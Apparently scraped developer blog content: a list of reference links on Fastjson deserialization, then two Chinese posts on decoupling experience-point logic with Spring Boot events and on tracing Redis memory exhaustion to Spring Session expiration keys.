[https://www.cnblogs.com/zpchcbd/p/14969606.html](https://www.cnblogs.com/zpchcbd/p/14969606.html) [https://www.cnblogs.com/nice0e3/p/14601670.html](https://www.cnblogs.com/nice0e3/p/14601670.html) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html#reference) [https://www.cnblogs.com/nice0e3/p/14776043.html](https://www.cnblogs.com/nice0e3/p/14776043.html) [https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/](https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/) [https://zhuanlan.zhihu.com/p/544463507](https://zhuanlan.zhihu.com/p/544463507) [https://www.freebuf.com/vuls/178012.html](https://www.freebuf.com/vuls/178012.html) [https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%BA%8C)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/](https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96\(%E4%BA%8C\)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/) [https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA](https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA) [http://scz.617.cn:8/web/202008100900.txt](http://scz.617.cn:8/web/202008100900.txt) [http://scz.617.cn:8/web/202008111715.txt](http://scz.617.cn:8/web/202008111715.txt) [https://github.com/LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist)
Spring Boot 事件处理机制,实现代码解耦
## 背景 大家好,我是顾,最近 [面试鸭](https://www.mianshiya.com/?shareCode=gulihua) 需要开发一个经验值体系的能力,需要对经验值进行增加、减少,有很多的触发情况,比如用户发布题解,用户浏览题目,用户邀请新用户、用户转化为会员、签到等等,为了复用经验系统的代码,以及和业务代码解耦,决定使用Spring Boot 的事件处理机制来处理各种经验值增减的逻辑。 ## 介绍 在 Spring Boot 中,事件监听是一种 Spring 的机制,允许开发者定义和触发自定义事件,并通过注册监听器来响应这些事件。这种机制为应用程序中的事件处理提供了更高的解耦性,使代码更加清晰和灵活。<font style="color:rgb(37, 41, 51);">Spring的事件监听机制是在JDK事件监听的基础上进行的扩展,也是使用了观察者模式并在其基础上进行进一步抽象和改进。</font> ## <font style="color:rgb(37, 41, 51);">流程</font> ### 创建自定义的事件类 把经验体系的属性封装在自定义的事件类中,通过实现 `ApplicationEvent` 表示这是经验值事件类 ```java /** * 经验值事件类 * * @author gulihua * @date 2024-11-25 14:27 */ @Getter public class ExperienceEvent extends ApplicationEvent { /** * 经验类型枚举 */ private UserExperienceEnum userExperience; /** * 用户ID */ private Long userId; /** * 业务ID(操作的对象ID) */ private Long bizId; /** * 描述 */ private String desc; /** * 参数 */ private UserExperienceRecordParamsDTO param; /** * 登录用户 */ private User loginUser; /** * 自定义原因 */ private UserExperienceRecordReasonEnum reason; /** * 是否是取消经验值事件 */ private boolean isCancel; public ExperienceEvent(Object source, UserExperienceEnum userExperience, Long userId, Long bizId, String desc, UserExperienceRecordParamsDTO param, User loginUser, boolean isCancel) { super(source); this.userExperience = userExperience; this.userId = userId; this.bizId = bizId; this.desc = desc; this.param = param; this.loginUser = loginUser; this.isCancel = isCancel; } public ExperienceEvent(Object source, UserExperienceEnum userExperience, Long userId, Long bizId, String desc, UserExperienceRecordParamsDTO param, User loginUser, UserExperienceRecordReasonEnum reason, boolean isCancel) { super(source); this.userExperience = userExperience; this.userId = userId; this.bizId = bizId; this.desc = desc; this.param = param; this.loginUser = loginUser; this.reason = reason; this.isCancel = isCancel; } } ``` ### 创建事件监听器 创建一个自定义的事件监听器,用来处理经验增加、扣除事件。如果是取消事件,需要把经验值改成负的。 ```java /** * 经验值事件监听器 * * @author gulihua * @date 2024-11-25 14:28 */ @Slf4j @Service public class ExperienceEventListener implements ApplicationListener<ExperienceEvent> { @Resource private UserExperienceRecordService userExperienceRecordService; @Resource private RedissonClient redissonClient; @Override public void onApplicationEvent(ExperienceEvent experienceEvent) { UserExperienceRecord userExperienceRecord = new UserExperienceRecord(); userExperienceRecord.setExperience(experienceEvent.getUserExperience().getValue()); userExperienceRecord.setDescription(experienceEvent.getDesc()); userExperienceRecord.setReason(experienceEvent.getUserExperience().getAddReason()); userExperienceRecord.setUserId(experienceEvent.getUserId()); userExperienceRecord.setBizId(experienceEvent.getBizId()); userExperienceRecord.setExperienceType(experienceEvent.getUserExperience().getType()); String params = JSONUtil.toJsonStr(experienceEvent.getParam()); userExperienceRecord.setParams(params); // 取消操作 if (experienceEvent.isCancel()) { userExperienceRecord.setExperience(userExperienceRecord.getExperience() * -1); userExperienceRecord.setReason(experienceEvent.getUserExperience().getCancelReason()); } // 自定义原因 if (null != experienceEvent.getReason()) { userExperienceRecord.setReason(experienceEvent.getReason().getValue()); } userExperienceRecordService.addUserExperienceRecord(userExperienceRecord, experienceEvent.getLoginUser()); } } ``` 经验值记录具体数据库的操作,包括添加记录、添加经验值数据 ```java @Override public int addUserExperienceRecord(UserExperienceRecord userExperienceRecord, User loginUser) { // 参数校验:用户要存在,经验值要合理 Integer experience = userExperienceRecord.getExperience(); Integer reason = userExperienceRecord.getReason(); Long userId = userExperienceRecord.getUserId(); log.info("userExperienceRecord params = {}", userExperienceRecord); if (experience > MAX_ADD_EXPERIENCE || experience == 0) { throw new BusinessException(ErrorCode.PARAMS_ERROR); } if (UserExperienceRecordReasonEnum.getEnumByValue(reason) == null) { throw new BusinessException(ErrorCode.PARAMS_ERROR); } if (userId <= 0) { throw new BusinessException(ErrorCode.PARAMS_ERROR); } User user = userService.getById(userId); if (user == null) { throw new BusinessException(ErrorCode.PARAMS_ERROR); } // 往用户经验值记录表插入记录 int insertRows = this.baseMapper.insert(userExperienceRecord); if (insertRows <= 0) { throw new BusinessException(ErrorCode.SYSTEM_ERROR, "数据插入失败"); } // 修改用户表的经验值 UpdateWrapper<User> updateWrapper = new UpdateWrapper<>(); updateWrapper.eq("id", userId); if (experience > 0) { updateWrapper.setSql(String.format("experience = experience + %d", experience)); } else { updateWrapper.setSql(String.format("experience = experience - %d", Math.abs(experience))); } boolean updateResult = userService.update(updateWrapper); if (!updateResult) { throw new BusinessException(ErrorCode.SYSTEM_ERROR, "数据更新失败"); } return experience; } ``` 因为有些经验值一天是有获取上限的,不然用户可能会重复刷,所以,我们需要对有些经验值的类型去做判断,比如刷题,用户每天获取的上限是1个积分,发布题解,上限是6个积分,所以就需要在获取积分时去做判断今天是否达到了上限值。 ```java /** * 核实是否要增加记录 * * @return 是否执行后续的操作 */ private boolean check(ExperienceEvent experienceEvent) { // 发布 if (!experienceEvent.isCancel()) { // 只能执行一次 if (ExperienceLimitTypeEnum.ONLY_ONE.equals(experienceEvent.getUserExperience().getLimitType())) { // 判断之前有没对目标做过操作 QueryWrapper<UserExperienceRecord> oldRecord = new QueryWrapper<>(); oldRecord.eq("userId", experienceEvent.getUserId()); oldRecord.eq("bizId", experienceEvent.getBizId()); oldRecord.eq("experienceType", experienceEvent.getUserExperience().getType()); if (userExperienceRecordService.count(oldRecord) > 0) { return false; } } else if (ExperienceLimitTypeEnum.DAY.equals(experienceEvent.getUserExperience().getLimitType())) { // 每天经验上限 Date now = new Date(); Date startDate = DateUtil.beginOfDay(now); Date endDate = DateUtil.endOfDay(now); Long sum = userExperienceRecordService.sumUserTodayExperienceRecord(startDate, endDate, experienceEvent.getUserExperience().getType(), experienceEvent.getUserId()); if (sum != null && sum >= experienceEvent.getUserExperience().getDayMaxExperience()) { return false; } } } else { Long sum = userExperienceRecordService.sumUserExperienceRecord(experienceEvent.getBizId(), experienceEvent.getUserExperience().getType(), experienceEvent.getUserId()); if (sum == null || sum <= 0) { return false; } } return true; } ``` ### 创建事件发布者 这个类主要用来发布具体的事件,包括发布增加经验值事件,扣除经验值事件 ```java /** * 经验值事件发布者 * * @author gulihua * @date 2024-11-25 14:54 */ @Slf4j @Component @AllArgsConstructor public class ExperienceEventPublisher { private ApplicationEventPublisher publisher; /** * 发布增加经验值事件 * * @param userExperience 经验值枚举 * @param userId 增加经验值的用户ID * @param bizId 业务ID * @param desc 描述 * @param param 参数 * @param loginUser 登录用户 **/ public void publishAddEvent(UserExperienceEnum userExperience, Long userId, Long bizId, String desc, UserExperienceRecordParamsDTO param, User loginUser) { ExperienceEvent customEvent = new ExperienceEvent(this, userExperience, userId, bizId, desc, param, loginUser, false); publisher.publishEvent(customEvent); } /** * 发布扣除经验值事件 * * @param userExperience 经验值枚举 * @param userId 扣除经验值的用户ID * @param bizId 业务ID * @param desc 描述 * @param param 参数 * @param loginUser 登录用户 **/ public void publishCancelEvent(UserExperienceEnum userExperience, Long userId, Long bizId, String desc, UserExperienceRecordParamsDTO param, User loginUser) { ExperienceEvent customEvent = new ExperienceEvent(this, userExperience, userId, bizId, desc, param, loginUser, true); publisher.publishEvent(customEvent); } ``` ### 经验值类型枚举 在经验值事件处理中,有一个很重要的字段,那就是经验类型的枚举,很多的经验事件的处理都是围绕这个枚举值来判断的,与其说是枚举类,不如说是经验类型的配置类。里面包含了经验值类型,经验值原因,经验值的大小,每天经验值的获取上限等等。 ```java /** * 用户经验值枚举 * * @author gulihua */ public enum UserExperienceEnum { /** * 题解被设置为推荐答案 */ BEST_ANSWER(2, UserExperienceRecordServiceImpl.USER_EXPERIENCE_RULE.getBestAnswer(), UserExperienceRecordReasonEnum.BEST_ANSWER.getValue(), UserExperienceRecordReasonEnum.CANCEL_BEST_ANSWER.getValue(), ExperienceLimitTypeEnum.NOT_LIMIT ), /** * 题解被精选 */ GOOD_ANSWER(3, UserExperienceRecordServiceImpl.USER_EXPERIENCE_RULE.getGoodAnswer(), UserExperienceRecordReasonEnum.GOOD_ANSWER.getValue(), UserExperienceRecordReasonEnum.CANCEL_GOOD_ANSWER.getValue(), ExperienceLimitTypeEnum.NOT_LIMIT ), /** * 发布一篇回答讨论 */ ADD_ANSWER(4, UserExperienceRecordServiceImpl.USER_EXPERIENCE_RULE.getAddAnswer(), UserExperienceRecordReasonEnum.ADD_ANSWER.getValue(), UserExperienceRecordReasonEnum.CANCEL_ADD_ANSWER.getValue(), ExperienceLimitTypeEnum.DAY, 6, false ), /** * 题解被置顶 */ TOP_ANSWER(8, UserExperienceRecordServiceImpl.USER_EXPERIENCE_RULE.getTopAnswer(), UserExperienceRecordReasonEnum.TOP_ANSWER.getValue(), UserExperienceRecordReasonEnum.CANCEL_TOP_ANSWER.getValue(), ExperienceLimitTypeEnum.NOT_LIMIT ), /** * 邀请新用户注册 */ INVITE_USER(5, UserExperienceRecordServiceImpl.USER_EXPERIENCE_RULE.getInviteUser(), UserExperienceRecordReasonEnum.INVITE_USER.getValue(), UserExperienceRecordReasonEnum.CANCEL_INVITE_USER.getValue(), ExperienceLimitTypeEnum.NOT_LIMIT ), /** * 邀请用户成为会员 */ INVITE_USER_VIP(6, UserExperienceRecordServiceImpl.USER_EXPERIENCE_RULE.getInviteUserVip(), UserExperienceRecordReasonEnum.INVITE_USER_VIP.getValue(), UserExperienceRecordReasonEnum.CANCEL_INVITE_USER_VIP.getValue(), ExperienceLimitTypeEnum.NOT_LIMIT ), /** * 签到 */ SIAN_IN(15, UserExperienceRecordServiceImpl.USER_EXPERIENCE_RULE.getSignin(), UserExperienceRecordReasonEnum.SIGN_IN.getValue(), UserExperienceRecordReasonEnum.CANCEL_SYSTEM.getValue(), ExperienceLimitTypeEnum.DAY, true, 1 ), // ... 其他类型的枚举 ; /** * 经验类型 */ private int type; /** * 经验值 */ private int value; /** * 添加经验值原因 */ private int addReason; /** * 扣除经验值原因 */ private int cancelReason; /** * 经验值获取上限类型 */ private ExperienceLimitTypeEnum limitType; /** * 是否限制操作次数(优先级比经验值上限高) */ private boolean isLimitOperation; /** * 限制操作的次数 */ private int operationLimit; /** * 每天经验值上限 */ private int dayMaxExperience; public int getOperationLimit() { return this.operationLimit; } public ExperienceLimitTypeEnum getLimitType() { return this.limitType; } public int getValue() { return this.value; } public int getAddReason() { return this.addReason; } public int getCancelReason() { return this.cancelReason; } public boolean getIsLimitOperation() { return this.isLimitOperation; } public int getType() { return this.type; } public int getDayMaxExperience() { return this.dayMaxExperience; } UserExperienceEnum(int type, int value, int addReason, int cancelReason, ExperienceLimitTypeEnum limitType) { this.type = type; this.value = value; this.addReason = addReason; this.cancelReason = cancelReason; this.limitType = limitType; } UserExperienceEnum(int type, int value, int addReason, int cancelReason, ExperienceLimitTypeEnum limitType, int dayMaxExperience, boolean isLimitOperation) { this.type = type; this.value = value; this.addReason = addReason; this.cancelReason = cancelReason; this.dayMaxExperience = dayMaxExperience; this.limitType = limitType; this.isLimitOperation = isLimitOperation; } UserExperienceEnum(int type, int value, int addReason, int cancelReason, ExperienceLimitTypeEnum limitType, boolean isLimitOperation, int operationLimit) { this.type = type; this.value = value; this.addReason = addReason; this.cancelReason = cancelReason; this.limitType = limitType; this.isLimitOperation = isLimitOperation; this.operationLimit = operationLimit; } ``` ### 调用 比如在发布题解时,需要增加经验值,直接调用发布事件的方法即可,指定类型枚举 ```java /** * 每日首次发布题解,增加经验值 * * @param questionAnswer 答案 * @param loginUser 登录用户 **/ private void addAnswerExperience(QuestionAnswer questionAnswer, User loginUser) { String url = String.format("/question/%s?comment=%s", questionAnswer.getQuestionId(), questionAnswer.getId()); String descriptionTemplate = "发布一篇回答讨论,<a href=\"%s\" target=\"_blank\">查看该讨论</a>"; String description = String.format(descriptionTemplate, url); UserExperienceRecordParamsDTO paramsDTO = new UserExperienceRecordParamsDTO(); paramsDTO.setQuestionId(questionAnswer.getQuestionId()); paramsDTO.setAnswerId(questionAnswer.getId()); experienceEventPublisher.publishAddEvent( UserExperienceEnum.ADD_ANSWER, questionAnswer.getUserId(), questionAnswer.getId(), description, paramsDTO, loginUser ); } ``` 在需要扣除经验值的时候,比如题解被删除时,调用扣除经验值的事件,可以指定自定义的原因 ```java /** * 题解被删除,扣除经验值 * * @param oldQuestionAnswer 答案 * @param loginUser 登录用户 **/ private void deleteAnswerCancelExperience(QuestionAnswer oldQuestionAnswer, User loginUser) { String url = String.format("/question/%s", oldQuestionAnswer.getQuestionId()); UserExperienceRecordParamsDTO paramsDTO = new UserExperienceRecordParamsDTO(); paramsDTO.setQuestionId(oldQuestionAnswer.getQuestionId()); paramsDTO.setAnswerId(oldQuestionAnswer.getId()); UserExperienceEnum userAddAnswerExperienceEnum = UserExperienceEnum.ADD_ANSWER; String descriptionTemplate = "回答讨论被删除,扣除经验值,<a href=\"%s\" target=\"_blank\">查看题目</a>"; String description = String.format(descriptionTemplate, url); experienceEventPublisher.publishCancelEvent( userAddAnswerExperienceEnum, oldQuestionAnswer.getUserId(), oldQuestionAnswer.getId(), description, paramsDTO, UserExperienceRecordReasonEnum.DELETE_ANSWER, loginUser ); } ``` ### 异步处理 经验值的增加减少并不是用户操作时立马关心的,如果经验值处理的时间过长也会影响请求的响应时间,会阻塞主线程,所以可以把触发事件处理成异步的操作,首先可以创建一个异步的线程池配置,专门用来处理经验值的相关事件,使用`@EnableAsync`来开启异步支持,它会由Spring创建一个代理,在单独的线程中去执行任务。 ```java @Configuration @EnableAsync public class AsyncConfig implements AsyncConfigurer { // 经验值线程池 @Bean("experienceThreadPool") public TaskExecutor experienceThreadPool() { ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); executor.setCorePoolSize(4); executor.setMaxPoolSize(10); executor.setKeepAliveSeconds(100); executor.setQueueCapacity(1000); executor.setThreadNamePrefix("experiencePool-"); executor.setRejectedExecutionHandler(new ThreadPoolExecutor.AbortPolicy()); executor.initialize(); return executor; } } ``` 然后再需要异步处理的方法上加上`@Async("experienceThreadPool")`注解,这样这个方法会在刚刚自定义的线程池中去执行。 ```java @Override @Async("experienceThreadPool") public void onApplicationEvent(ExperienceEvent experienceEvent) { UserExperienceRecord userExperienceRecord = new UserExperienceRecord(); userExperienceRecord.setExperience(experienceEvent.getUserExperience().getValue()); userExperienceRecord.setDescription(experienceEvent.getDesc()); userExperienceRecord.setReason(experienceEvent.getUserExperience().getAddReason()); userExperienceRecord.setUserId(experienceEvent.getUserId()); userExperienceRecord.setBizId(experienceEvent.getBizId()); userExperienceRecord.setExperienceType(experienceEvent.getUserExperience().getType()); String params = JSONUtil.toJsonStr(experienceEvent.getParam()); userExperienceRecord.setParams(params); // 取消操作 if (experienceEvent.isCancel()) { userExperienceRecord.setExperience(userExperienceRecord.getExperience() * -1); userExperienceRecord.setReason(experienceEvent.getUserExperience().getCancelReason()); } // 自定义原因 if (null != experienceEvent.getReason()) { userExperienceRecord.setReason(experienceEvent.getReason().getValue()); } userExperienceRecordService.addUserExperienceRecord(userExperienceRecord, experienceEvent.getLoginUser()); } ``` ## 总结 使用 Spring 的异步事件处理将一些耗时的操作从主线程中分离出来,避免阻塞主线程,从而提高系统的吞吐量。对于不需要立即完成的任务,比如说经验值的处理,操作日志的记录等,可以进行异步处理,从而提高用户体验。它最重要的功能就是解耦,Spring Event 允许模块之间通过事件通信,减少模块之间的直接依赖,提高代码的可维护性和可扩展性,发布者只需要发布事件即可,并不需要关心具体的业务实现。
刚买的 Redis 没多久就满了?罪魁祸首竟是这个
## 背景 大家好,我是小顾,负责开发一款面试刷题工具 —— [面试鸭](https://mianshiya.com/?shareCode=9ou2an) ~ 在每周例行开完需求评审会后,我按照需求文档进行开发需求时,写着写着代码,面试鸭告警群里突然报了好多异常,我一看是 Redis 报内存溢出异常,赶紧去阿里云监控平台看。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/fOdx0V4FO2WuLhXk.webp" alt="" width="100%" /> 去了阿里云监控平台查看了下,`/api/question/get/vo` 这个接口 5 分钟内报了好几个 OOM 异常,汗流浃背了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/IVpRxPIaXEWqbm31.webp" alt="" width="121" /> 这个接口是获取题目详情和推荐答案的,并且作了限流和防爬警告处理,当用户获取题目频率过高时会在企微告警,防止有用户恶意爬接口。但是如果频率过高时,一调接口就会告警,群里通知会很频繁,体验不是很好,所以我会把一段时间内的告警信息进行汇总起来一起发送出去,会使用用户 id 为 key 存储在 Redis 里,一段时间后过期。因为这里有 Redis 的写入操作,导致用户刷题时一直报这个错误。 我赶紧打开腾讯云 Redis 云监控,看了下,好家伙,内存使用率都干到 100% 了! <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/0LgxKjN1oAKoZEJ0.webp" alt="" width="100%" /> 通过 Redis 客户端工具可以看到,11 库是面试鸭的 Redis 库,一共有 290 多万条数据,这么多明显不正常,面试鸭根本没有这么多的用户,居然产生了这么多 key,而另外一个项目一共才 40 多万的 key,并且用户数和面试鸭差不多,所以面试鸭的 Redis 明显不正常 ~ <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/VMTbHP7YRCgPmmWl.webp" alt="" width="242" /> ## 分析 在 Redis 里,有 94% 是 spring 的 key,明显这是占用最多的键,这个存的是面试鸭的登录态,不到 10 万的用户登录态有两百多万,肯定是有问题的。这个 Redis 数据是 Spring Session 框架生成的。我们是把用户登录态使用这个框架存在Redis里来解决分布式场景下的登录问题,平常单机应用都是存储在 Spring 的 Tomcat 里,但我们的面试鸭是分布式的应用,一个 web 应用可能部署在不同的 docker 容器中,通过 CPU 或者内存占用情况进行自动扩容,通过负载均衡算法将请求分配到不同的 web 容器中,这样就会导致用户的登录态不一致,比如用户登录时的请求发送到服务器 A ,获取登录信息的请求发送到服务器 B,这样就获取不到用户的登录态了,所以我们需要把登录态存在 Redis 里。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/csw9kJwL8y3zgJRa.webp" alt="" width="100%" /> 继续看这个 sping 的 key 里面有什么信息,里面存放了三种类型的数据: 第一种,`"spring:session:sessions" + sessionId`这个是存储的是,`creationTime`(创建时间),`lastAccessedTime`(最后访问时间),`maxInactiveInterval`(session 失效的间隔时长),以及存放在 session 中的用户数据会存放于此,比如在代码中: ```java session.setAttribute(key, user) ``` 这里的用户数据就会存放在这个类型的缓存里。 ```json { "lastAccessedTime": 1523933008926 "creationTime": 1523933008926, "maxInactiveInterval": 1800, "sessionAttr:user_login": {...} } ``` 第二种,`"spring:session:expirations" + 时间戳`,这是存储的是这一分钟所有要失效的 `sessionId`。当会话被创建或更新时,Spring Session 会计算该会话的过期时间。将当前的时间加上 session 失效的间隔时长(maxInactiveInterval),得出会话的过期时间点。Spring Session 通常会将计算出的 expirationTime 向下取整到最近的分钟。如果这个分钟时间点有多个 sessionId,会添加到Set类型的值里。这种类型的键便作为了一个“桶”,存放着这一分钟应当过期的 `sessionId`。 第三种,`"spring:session:sessions:expires" + sessionId`,不存储任何有用数据,它仅仅是 `sessionId` 在 redis 中的一个引用,只是表示 Session 的过期而设置。这个值在 Redis 中的过期时间即为 Session的过期时间。 我正在研究这些数据分别存储什么数据时,同事 S 给我发了一张图,说这都是啥数据,占用这么多? <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TgPdcbWikZ5SPgW2.webp" alt="" width="100%" /> 我打开一看,占用前 100 个 都是上面第二种类型的数据,最多的将近有 1M 了。这种缓存数据是每当登录时,session 过期时间会被重新从当前时间计算,会得到一个新的值并存进去。如果这一分钟有很多用户同时登录时,相同键里的“桶”会存非常多的`sessionId`,导致这条数据非常大。那么 Spring 为什么会引入这个类型的键呢? <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/n6JohAL3m9Hb26IO.webp" alt="" width="140" /> 我们知道 Session 是有过期机制的,Redis 也是有过期机制的,那么 Spring 是否可以直接沿用 Redis 的自动过期呢,显然是没有,因为 Spring 设计了上面三种类型的键,那么为什么会这么设计?这岂不是比直接使用一条数据来过期多出了两倍的内存空间? Redis 对于过期数据,一般有三种删除策略: 1. 定时删除:当设置键的过期时间的同时会创建一个定时器,当键到达过期时间的同时,定时器会删除这个键。 2. 惰性删除:在获取键的时候,会判断有没有过期,如果过期了,直接返回空并且删除,否则返回这个键 3. 定期删除:每隔一段时间,Redis 会取出一定数量的键,然后过滤出所有的过期的键并删除。 Redis 里默认一般采用惰性删除和定期删除两个策略组合来使用。也就是说 Redis 的键一旦过期了并不会立即删除,而是等某个事件触发时才会删除,这就会有不及时删除的情况。所以单纯依赖 Redis 是不可靠,于是就有了上面三个键的设计。通过源码可以发现,为了保证 Session 过期的及时性,Spring 采用了定时任务去删除过期的 Key,定时任务的频率是 1 分钟,它会检查所有一分钟前应该过期的 `sessionId`的值,即`"spring:session:expirations" + 时间戳`,然后根据“桶”里面的 `sessionId`,立即删除 `"spring:session:sessions:expires" + sessionId`。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/cG6vouZz8tecvf4b.webp" alt="" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dUJlkjups4VeqZvX.webp" alt="" width="100%" /> 通过 Redis 客户端工具可以看到,`"spring:session:sessions:" + sessionId` 的 TTL是2591772, `"spring:session:expirations" + 时间戳`的 TTL 是 2591472,第一种类型的键比第二种类型的键多了整整 5 分钟,目的就是为了当 Session 过期时,其他的监听事件还能获取到 Session 的原始数据。第三中类型的缓存的 TTL 其实就是为了标记的真实的过期时间,作用也是为了过期用的,所以值是空的。 所以综上所述,第一种类型的键存放的就是 Session 的真实数据,第二种类型的键是为了能及时删除过期的 Session,第三种类型的键就是真正标记过期用的。 知道了 Session 原理就简单了,用户如果打开网站或者小程序,请求需要登录的接口后,比如 `/api/user/get/login`获取登录态的接口,这个接口因为涉及到 Session 的获取操作,如果在 Redis 里没有找到这个 SessionId,用户无论有没有登录,都会在 Redis 里添加一条 Session 记录。如果请求登录接口后,会在第一种类型的键里加一条用户数据,然后在第二种类型里重新计算用户过期的时间,它的键为当前登录用户 Session 要过期的时间戳,如果用户频繁请求接口接口,这个类型的键会一直增加,因为他是根据当前登录时间动态计算的过期时间。在 web 端如果用户登录之后,刷新页面会自动获取登录态的,不用重复登录,所以排除了 web 端的问题,那么就是小程序了,因为小程序的自动登录机制,用户打开小程序会自动进行登录,通过日志可以看到,小程序关闭之后再次打开,还是会调用 `/api/user/login/miniapp`接口,`"spring:session:expirations" + 时间戳` 的键会增加一条记录,所以这个类型的数据会越来越多。 ## 解决 终于知道问题出在哪里了,那就要开始解决了 ~ <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/I6lw3PVdGHLug5xD.jpg" alt="undefined" width="109" /> 小程序登录之后是可以获取到登录态的,所以不需要每次打开都调用登录接口,可以通过`/api/user/get/login`获取登录信息,如果获取不到,才调用登录的接口,这样就会在 Redis 里节省了很多的空间呢 ~ ## 总结 随着用户数越来越多,Redis 里的登录态也越来越多,内存增加也越来越快,用户只要打开网站就会有 Session 记录,所以要合理利用 Redis 空间,后续可以再看看还有没有可以优化的地方 ~
